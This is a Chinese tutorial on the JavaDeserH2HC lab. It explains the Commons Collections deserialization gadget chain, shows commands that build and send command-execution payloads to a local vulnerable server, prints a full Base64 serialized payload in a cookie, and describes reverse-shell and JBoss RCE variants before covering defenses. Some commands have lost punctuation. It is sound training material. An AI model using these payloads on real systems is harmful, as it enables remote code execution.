1. 项目概述与核心价值如果你是一名Java开发者、安全研究员或者对应用安全感兴趣的技术爱好者那么“Java反序列化漏洞”这个词对你来说一定不陌生。它就像潜伏在Java应用深处的“幽灵”利用起来门槛不低但一旦被攻击者掌握后果往往非常严重。今天要聊的JavaDeserH2HC项目就是一把帮你亲手解剖这个“幽灵”的手术刀。这不是一个简单的漏洞利用工具集而是一个由安全研究员 Joao Matos 为 Hackers to Hackers Conference (H2HC) 2017 年杂志撰写的配套实验代码库。它的核心价值在于通过一系列精心设计的示例代码和一个模拟的漏洞环境手把手地带你从零理解Java反序列化漏洞的原理、利用链Gadget Chain的构造以及如何在实际场景中测试和验证你的攻击载荷。简单来说这个项目解决了几个关键痛点首先反序列化漏洞的原理抽象且复杂光看理论文章很难形成直观感受其次很多公开的PoC概念验证代码只给结果不解释过程新手拿到后知其然不知其所以然最后缺乏一个安全、可控的沙箱环境来反复测试和调试自己的Payload。JavaDeserH2HC 正好填补了这些空白。它适合所有希望深入理解Java安全机制、有志于从事应用安全AppSec或红队渗透测试的工程师。通过复现这个实验室你不仅能看懂漏洞公告更能亲手构造攻击链深刻理解为什么一个简单的readObject()调用会成为整个系统的“阿喀琉斯之踵”。2. 环境准备与项目初始化动手之前我们需要搭建一个与项目兼容的实验环境。根据项目README的说明它主要针对的是较老版本的JDK如JDK 8u20和特定的第三方库如 Commons Collections 3.2.1。这并不是说新版本绝对安全而是因为许多经典的、用于教学的反序列化利用链Gadget Chains在后续的JDK版本特别是8u71之后和库版本中被修复了。为了原汁原味地复现经典案例我们最好使用一个相对“纯净”的旧环境。2.1 JDK与依赖库的获取项目作者很贴心地提供了JDK 8u20的直链下载避免了去Oracle官网注册的麻烦。我们可以在一个隔离的环境比如虚拟机或Docker容器中进行操作。以下是在Linux系统下的准备步骤首先以root权限下载并安装指定版本的JDK# 进入/opt目录通常用于安装第三方软件 cd /opt # 使用curl下载JDK 8u20的压缩包 curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz # 解压 tar zxvf jdk-8u20-linux-x64.tar.gz # 移除系统可能已有的其他Java链接避免冲突 rm -rf /usr/bin/java* # 创建符号链接将新JDK的可执行文件链接到系统路径 ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin # 验证安装 java -version如果一切顺利java -version应该会输出java version 1.8.0_20。这里有一个关键点为什么要用JDK 8u20而不是更新版本因为在8u71之后Oracle引入了一个重要的安全机制——sun.reflect.annotation.AnnotationInvocationHandler类的readObject方法被修改并且增加了一个名为serialFilter的机制原型这直接导致了许多基于AnnotationInvocationHandler的经典利用链失效。使用旧版本是为了绕过这些修复专注于理解漏洞最原始的原理。注意强烈建议在虚拟机或Docker容器中完成所有实验。永远不要在连接互联网的生产环境或开发主机上运行这些具有攻击性的代码。环境的隔离是安全研究的第一原则。接下来克隆项目代码并进入目录git clone https://github.com/joaomatosf/JavaDeserH2HC.git cd JavaDeserH2HC你会看到项目里已经包含了必要的依赖库JAR文件如commons-collections-3.2.1.jar和xstream-1.4.6.jar。这些是构造特定利用链所必需的。2.2 编译与启动漏洞测试服务器项目的核心是一个名为VulnerableHTTPServer.java的简易HTTP服务器。它的作用不是提供一个真实的Web应用而是模拟一个存在反序列化漏洞的端点可以接收并反序列化各种格式的数据。这是我们测试Payload的“靶场”。使用以下命令编译并运行它# 编译时忽略符号文件警告确保编译通过 javac VulnerableHTTPServer.java -XDignore.symbol.file # 运行服务器并将当前目录和commons-collections库加入类路径 java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer-cp .:commons-collections-3.2.1.jar这个参数至关重要。它指定了Java程序的类路径Classpath。.代表当前目录commons-collections-3.2.1.jar是依赖库。服务器需要这个库在类路径中因为它内部可能会实例化或调用这个库中的类如果不在类路径中在反序列化某些特定Payload时会因为找不到类而失败。成功启动后终端会打印出服务器的横幅并显示它正在监听8000端口。这个服务器支持多种Payload注入格式包括原始的二进制序列化数据、Base64编码、Gzip压缩后的Base64甚至模拟了Apache Shiro框架的RememberMe Cookie加密格式。这几乎涵盖了实战中可能遇到的所有反序列化数据入口点。3. 核心原理Java反序列化漏洞为何危险在开始构造攻击之前我们必须先搞清楚敌人是谁。Java反序列化漏洞的根源在于ObjectInputStream.readObject()方法。当一个Java应用从网络、文件或Cookie中读取一段序列化的字节流并调用readObject()试图将其还原为对象时危险就悄然降临。序列化简单说就是把一个对象的状态它的字段值转换成一串字节流以便存储或传输。反序列化则是逆过程把这串字节流还原成一个内存中的对象。问题在于readObject()方法在还原对象时会自动调用该对象类中定义的readObject()方法如果存在的话。这个方法的本意是让类开发者有机会在反序列化时执行一些自定义的初始化逻辑。然而攻击者的思路是寻找一条“调用链”Gadget Chain。这条链由一系列存在于目标应用类路径中的类组成这些类的某些方法在被调用时可以产生“副作用”比如执行系统命令、写入文件、发起网络请求等。如果攻击者能够精心构造一个序列化对象使得在反序列化时通过一连串的自动方法调用如readObject、equals、hashCode、compareTo等最终触发那个有“副作用”的方法那么攻击就成功了。3.1 经典的 Commons Collections 利用链剖析JavaDeserH2HC 项目中ExampleCommonsCollections1.java就是一个基于 Apache Commons Collections 3.2.1 库的经典利用链示例。我们来拆解一下它的核心逻辑这条链的核心是利用了TransformedMap和InvokerTransformer这两个类。TransformedMap是一个装饰器它可以在Map的键或值被修改时自动调用一个Transformer对象对修改后的值进行转换。InvokerTransformer是一个危险的Transformer实现它可以通过反射调用任意对象的任意方法。攻击链的构造思路如下首先创建一个InvokerTransformer让它反射调用Runtime.getRuntime()方法。然后再创建一个InvokerTransformer让它反射调用上一步得到的Runtime对象的exec方法并传入我们要执行的命令如touch /tmp/h2hc_2017。将这些Transformer链式组合起来放入一个TransformedMap中。最后需要找到一个类它在反序列化的readObject方法中会去操作我们精心准备的TransformedMap。在 Commons Collections 中AnnotationInvocationHandler类注意这是Sun包下的类非Apache的的readObject方法会遍历并entrySet中的元素这会触发TransformedMap的转换逻辑。当恶意的序列化对象被反序列化时流程是这样的AnnotationInvocationHandler.readObject()- 遍历TransformedMap.entrySet()- 触发TransformedMap.checkSetValue()- 调用InvokerTransformer.transform()- 反射调用Runtime.getRuntime().exec(cmd)。一条从反序列化到命令执行的路径就这样被打通了。实操心得理解这条链的关键在于它不是一蹴而就的。你需要像搭积木一样找到每一块能承上启下的“积木”类和方法。在真实漏洞挖掘中我们常常使用“gadgetinspector”这类静态分析工具来辅助寻找可能的链但手工验证和调试是必不可少的。3.2 利用链的“通用性”与“局限性”为什么这个项目里的例子大多依赖 Commons Collections 3.2.1因为在这个版本中InvokerTransformer、ConstantTransformer、ChainedTransformer等类可以被序列化且其transform方法功能强大为构造利用链提供了极大的便利。这使得基于 Commons Collections 的利用链在很长一段时间内成为“通用”的武器只要目标应用的类路径里有这个库的特定版本就可能中招。然而它的局限性也很明显JDK版本限制如前所述JDK 8u71之后对AnnotationInvocationHandler的修改堵死了这条经典通路。库版本限制Commons Collections 在后续版本如3.2.2、4.0中也修复了相关问题或者将关键类设置为不可序列化。类路径依赖利用链中的每一个类都必须存在于目标应用的类路径中。如果应用没有使用 Commons Collections那么这条链就无效。因此实战中攻击者需要根据目标环境寻找新的、可用的“积木”。这也正是Java反序列化漏洞研究的难点和魅力所在——它是一个不断“道高一尺魔高一丈”的攻防博弈过程。4. 实战演练从编译Payload到成功利用理论讲得再多不如亲手试一次。让我们跟随项目的指引完成一次完整的攻击演练。我们的目标是生成一个Payload让靶场服务器在反序列化后在/tmp目录下创建一个名为h2hc_2017的文件。4.1 生成序列化攻击对象首先我们需要编译示例代码并生成Payload文件# 编译ExampleCommonsCollections1.java需要指定commons-collections库在类路径中 javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java # 运行编译后的类并传入我们要执行的命令作为参数 java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1 touch /tmp/h2hc_2017执行第二条命令后程序会输出类似Saving serialized object in ExampleCommonsCollections1.ser的信息。这意味着它已经将构造好的恶意对象序列化并保存到了ExampleCommonsCollections1.ser这个二进制文件中。这个.ser文件就是我们的“炮弹”。我们来看看这个命令背后做了什么。ExampleCommonsCollections1类的main方法接收一个命令行参数作为要执行的系统命令。在内部它按照我们前面分析的原理构造了InvokerTransformer链和TransformedMap然后将它们包装进一个AnnotationInvocationHandler代理对象中最后将这个代理对象序列化到文件中。整个过程是自动化的但理解其内部构造对于调试和编写自己的Payload至关重要。4.2 通过HTTP POST发送二进制Payload这是最直接的一种攻击方式模拟了攻击者直接向某个接收二进制数据的HTTP端点发送恶意序列化数据的情景。首先确保VulnerableHTTPServer正在运行。然后在另一个终端执行# 先删除可能已存在的文件确保我们看到的是新效果 rm -rf /tmp/h2hc_2017 # 使用curl的--data-binary选项将.ser文件作为原始二进制数据POST到服务器 curl 127.0.0.1:8000/ --data-binary ExampleCommonsCollections1.ser如果服务器返回Data deserialized!并且你在/tmp目录下看到了新创建的h2hc_2017文件那么恭喜攻击成功了--data-binary 文件名这个参数告诉curl不要对文件内容做任何处理比如URL编码原样发送。这模拟了攻击者直接发送序列化字节流的场景。在真实漏洞中可能对应着某个接收Java序列化对象进行RPC通信的接口。4.3 通过Cookie发送Base64编码的Payload在实际的Web攻击中更常见的入口点是Cookie或HTTP参数它们通常只能传输文本。因此我们需要将二进制Payload进行编码。项目服务器支持Base64和GzipBase64格式。我们来演练一下通过Cookie发送Gzip压缩后的Base64数据# 1. 删除旧文件 rm -rf /tmp/h2hc_2017 # 2. 用gzip压缩序列化文件通常能减少体积 gzip ExampleCommonsCollections1.ser # 3. 将压缩后的文件进行Base64编码-w0参数表示编码后不换行 base64 -w0 ExampleCommonsCollections1.ser.gz执行base64命令后终端会输出一长串Base64字符串。接下来我们需要将这串字符作为Cookie的值发送出去# 4. 使用curl发送请求将Base64字符串设置为JSESSIONID Cookie的值 # 注意这里需要替换{YOUR_BASE64_STRING}为上一步得到的长字符串 curl 127.0.0.1:8000/ -H cookie: JSESSIONIDH4sICMeVuVkAA0V4YW1wbGVDb21tb25zQ29sbGVjdGlvbnMxLnNlcgCVVD1MFEEUfrd3iKDEAxVNiITGqER2kZhIuEKRBCFZlCAS4hU67M3dLuzOrjOz5x0ohY0tBQmxUQut/EmMtYWxMBEl0UZDZ2HURBMtrHVmd9uAf44u7tzfu933vvdn7X6GOUehhPlEpztvY4CoixOWIWy5R6vhMCm6RhANIZKzMT334seO3cvzdxVQdNjuYGcK0wlk5hx2KFPoyLSfG7Z2gjyMjqkeNnDHJrDAxuRgjZgI8YyJY9dBYAENMkTVUJUASlR2BP8IVOrykapWyq/P7Da8TI9sKxAQoeEyWF/jDTK1DbIlYUuwTyAcNvp0oKKPGSYWDVcx3EJE72BFoydpCn6mi2LHSQD4vXbpbTi0lZrD6PDO7SMofDuqDQQgototBiFNo4RYTlXeqElSn0/aNm3ieSm6kDJrIIzsUIup8vfTk4u5QShrPQZMVORKu7spuT4tMI8jcxcciTic7v747uvaEAlDwxqZQwk/lvMKJI8JjhJPFheZ5dFiML4Gq5LBoSU2xjNT04JLyC1SaK7twZhPuOVgqH0211u5FTOYxtRc//RzZu7KSq8CySzUWf20IHq6M7tRig7brBHMTTd3Gjl4rdqznFqkkMmKlFFEkTMudl3QtGR/s2i/xF9aCmiX1iZvJVmhxKlxUOjQXMI8MC1BIHhWT3Wt8XH51vjoZ4NAgMKFKXy57u2QSLUzXoKHW29/u9M5mHp8MoMUgNbgdrQGsTcK8aih4t1hB5/5EGppYM5aAtG0daWK96hzD95MfPy8b5UxUmSQ702ZRGNieutdAnqXdz1DbND446nmT2mcaGn8gxDilcwkZVVSIoqrHKzgQvkyHETHGR6pXnz5rvfg6CcogNNouyg0Gl3kYGrhJMTNdO1fyjp8I9V/eKr7SgZOSsNpeUxx7OY5hjomM1hiXEvpAaGU2MlXBQAA同样如果服务器返回成功信息并且文件被创建则攻击成功。服务器端的VulnerableHTTPServer会识别JSESSIONID这个Cookie名尝试对其值进行Base64解码如果是Gzip格式则先解压最后将得到的字节流进行反序列化。注意事项在实际渗透测试中你需要根据目标应用处理数据的方式灵活选择Payload的编码和传递方式。例如某些Java应用可能将序列化数据存储在名为ViewState的隐藏表单域中或者使用特定的HTTP头。这个靶场服务器提供的多种格式正是为了覆盖这些常见场景。5. 扩展利用其他Gadget链与漏洞场景JavaDeserH2HC项目不仅仅包含Commons Collections一条链。它提供了多个示例展示了反序列化漏洞的多样性和在不同组件中的应用。5.1 基于XStream的反序列化漏洞项目中包含了xstream-1.4.6.jar和一个XML示例文件reverseShellMultiplatformCommonsCollections.xml。XStream是一个流行的Java对象与XML相互转换的库。它也存在反序列化漏洞但其触发点不是Java原生的readObject()而是XStream在从XML还原对象时的逻辑。XStream的漏洞原理不同它允许在XML中指定任意类进行实例化并调用其属性的setter方法。攻击者可以构造一个XML指向EventHandler或ImageIO等包含危险方法的类从而达到执行代码的目的。项目中的XML示例文件就是这样一个Payload它可能用于攻击使用了脆弱版本XStream的Struts2 REST插件等应用。测试方法也很简单curl 127.0.0.1:8000 -d reverseShellMultiplatformCommonsCollections.xml服务器会识别Content-Type或数据格式将其作为XStream数据流进行处理。这提醒我们反序列化风险不仅存在于ObjectInputStream任何将外部数据还原为复杂对象结构的机制如XML、JSON、YAML解析器都可能成为攻击入口如果它们允许指定任意类型。5.2 其他示例与漏洞变体ExampleCommonsCollections1WithHashMap.java: 展示了如何将利用链包装在一个HashMap对象中。有时直接使用AnnotationInvocationHandler可能会被WAF或代码检测拦截而将其藏在一个更常见的容器对象里可以起到一定的混淆作用。ReverseShellCommonsCollectionsHashMap.java: 这是一个生成反向Shell的示例。它不仅仅是执行一个简单的命令而是建立一个到攻击者机器的网络连接提供完整的交互式Shell。这体现了反序列化漏洞的终极危害——完全控制服务器。DnsWithCommonsCollections.java: 这个示例用于无回显漏洞的验证。有时命令执行了但我们无法直接看到输出如盲注。这时可以尝试让目标服务器发起一个DNS查询到我们控制的域名通过查看DNS日志来判断漏洞是否存在。这是一种非常隐蔽的探测方式。5.3 针对特定中间件的利用项目README中还提到了针对JBoss AS/EAP等中间件的预认证远程代码执行漏洞如CVE-2017-7504, CVE-2017-12149。这些漏洞的本质是JBoss的某些服务如JMXInvokerServlet在接收数据时未经验证就进行了反序列化操作。攻击者可以直接将构造好的Commons Collections利用链Payload发送到特定的HTTP端点从而无需用户名密码即可在服务器上执行命令。虽然项目中没有直接提供这些JBoss漏洞的完整利用代码但理解了核心的Gadget链构造方法后结合公开的漏洞细节你可以将生成的.ser文件通过特定路径发送给JBoss服务器实现攻击。这体现了基础研究的重要性掌握了一条通用链就可以在多种存在反序列化点的应用中尝试利用。6. 防御思路与安全编程实践在亲手构造并成功利用漏洞之后我们更应该思考如何防御。知其攻方能善其守。以下是一些关键的防御策略升级与修补这是最直接有效的方法。及时升级JDK到最新版本特别是8u71以上升级所有第三方库如Commons Collections到3.2.2或4.0并关注应用所使用的中间件如JBoss, WebLogic, Jenkins等的安全公告及时打补丁。输入验证与白名单不要反序列化不可信的任意数据。如果业务必须使用序列化可以考虑使用“白名单”机制。在Java中可以通过实现ObjectInputFilterJDK 9或使用第三方库如SerialKiller来定义一个允许反序列化的类名单。只允许反序列化业务逻辑明确需要的、安全的类。替换序列化方案尽量避免使用Java原生序列化。可以考虑使用更安全的数据交换格式如JSON使用Jackson, Gson、Protocol Buffers、Avro或Kryo但需正确配置因为Kryo默认也不安全。这些格式通常不直接支持执行任意代码。代码审计与加固在代码层面审查所有ObjectInputStream的使用确保其数据源是可信的。对于从HTTP请求、Cookie、RPC接口等外部来源接收的数据要格外小心。可以使用静态代码分析工具SAST来扫描项目中的反序列化点。运行时防护在生产环境中可以使用Java Agent技术进行运行时监控拦截ObjectInputStream.resolveClass方法检查即将被反序列化的类是否在黑名单中或不在白名单中。一些RASP运行时应用自保护产品也具备此功能。最小化攻击面移除应用中不必要的依赖库。如果应用用不到commons-collections就把它从依赖中排除。减少类路径中可利用的“积木”能直接降低被攻击的风险。7. 常见问题与排查技巧实录在实际操作这个实验室或进行相关研究时你可能会遇到一些问题。这里记录了一些常见坑点和解决方法。7.1 编译或运行时报ClassNotFoundException或NoClassDefFoundError这是最常见的问题根本原因是类路径Classpath设置不正确。症状错误: 找不到或无法加载主类 ExampleCommonsCollections1或Exception in thread main java.lang.NoClassDefFoundError: org/apache/commons/collections/Transformer原因与解决编译时没加-cp参数。必须使用javac -cp .:commons-collections-3.2.1.jar YourFile.java来编译告诉编译器去哪里找依赖的类。运行时没加-cp参数。必须使用java -cp .:commons-collections-3.2.1.jar YourClass来运行。路径分隔符错误。在Linux/macOS上类路径分隔符是冒号:在Windows上是分号;。确保使用正确的分隔符。依赖JAR文件不在当前目录。确保commons-collections-3.2.1.jar和xstream-1.4.6.jar等文件确实存在于你执行命令的目录下。7.2 攻击成功但没看到命令执行效果症状服务器返回Data deserialized!但/tmp/h2hc_2017文件没有被创建。排查步骤检查命令语法确保你生成Payload时传入的命令是正确的。例如touch /tmp/h2hc_2017在Unix-like系统上有效但在Windows上无效。靶场环境是Linux所以命令要符合Linux语法。检查权限运行服务器的用户是否有权限在/tmp目录下创建文件通常/tmp目录对所有用户可写但也不排除特殊情况。可以尝试一个更简单的命令测试如echo test /tmp/test.txt。检查服务器日志VulnerableHTTPServer在反序列化过程中如果抛出异常会在控制台打印堆栈信息。仔细查看是否有InvocationTargetException或IOException等错误这可能指示命令执行本身失败了如命令不存在。使用无回显探测如果怀疑是命令执行环境问题可以换用DnsWithCommonsCollections.java示例让它发起一个DNS查询到你的域名这是验证漏洞是否存在更可靠的方式。7.3 在高版本JDK上实验失败症状在JDK 1.8.0_77或更高版本上CommonsCollections1利用链无效。原因这是预期行为。JDK在8u71之后修复了sun.reflect.annotation.AnnotationInvocationHandler的readObject方法导致基于它的利用链失效。解决严格按照项目要求使用JDK 8u20或更早的版本。这是为了学习经典漏洞原理。在实际研究中需要寻找针对高版本JDK的新利用链例如利用java.util.HashSet、javax.management.BadAttributeValueExpException等类作为新的入口点。7.4 Payload发送后服务器无响应或连接被拒绝症状curl命令卡住或返回Connection refused。排查确认服务器是否运行检查VulnerableHTTPServer的进程是否存在是否在8000端口监听 (netstat -tlnp | grep 8000)。检查防火墙确保实验环境的防火墙没有阻止8000端口的本地连接。检查Payload大小如果Payload非常大比如某些复杂的链可能会被服务器端的某些缓冲区限制。可以尝试使用Gzip压缩来减小体积。检查编码通过Cookie或参数发送Base64数据时确保字符串没有换行且没有被URL编码。直接使用-H cookie: JSESSIONIDBASE64_STRING的方式不要对Base64字符串做任何额外处理。7.5 如何调试自己的Gadget链当你尝试构造新的利用链时调试是必不可少的。启用Java安全调试在运行靶场服务器时可以添加-Djava.security.debugserializationJVM参数。这会打印出反序列化过程中的详细日志包括每个被解析的类对于理解反序列化流程非常有帮助。使用远程调试在IDEA或Eclipse中以调试模式启动VulnerableHTTPServer并设置断点在ObjectInputStream.readObject()或你怀疑的关键类的readObject方法中。然后发送Payload可以一步步跟踪程序的执行流程观察对象是如何被还原以及你的利用链是如何被触发的。简化与验证构造链时从后往前推。先确保最后一步的命令执行代码块能独立运行。然后一步步往前添加触发环节每加一步都测试一下序列化/反序列化是否还能成功。这种分步验证的方法能帮你快速定位问题所在。这个实验室的价值远不止于运行几个现成的脚本。它提供了一个安全的沙盒让你可以大胆地修改示例代码尝试组合不同的类观察反序列化过程的内部状态从而真正内化对Java反序列化漏洞的理解。每一次失败的调试和每一次成功的利用都会让你对Java安全机制的认识更深一层。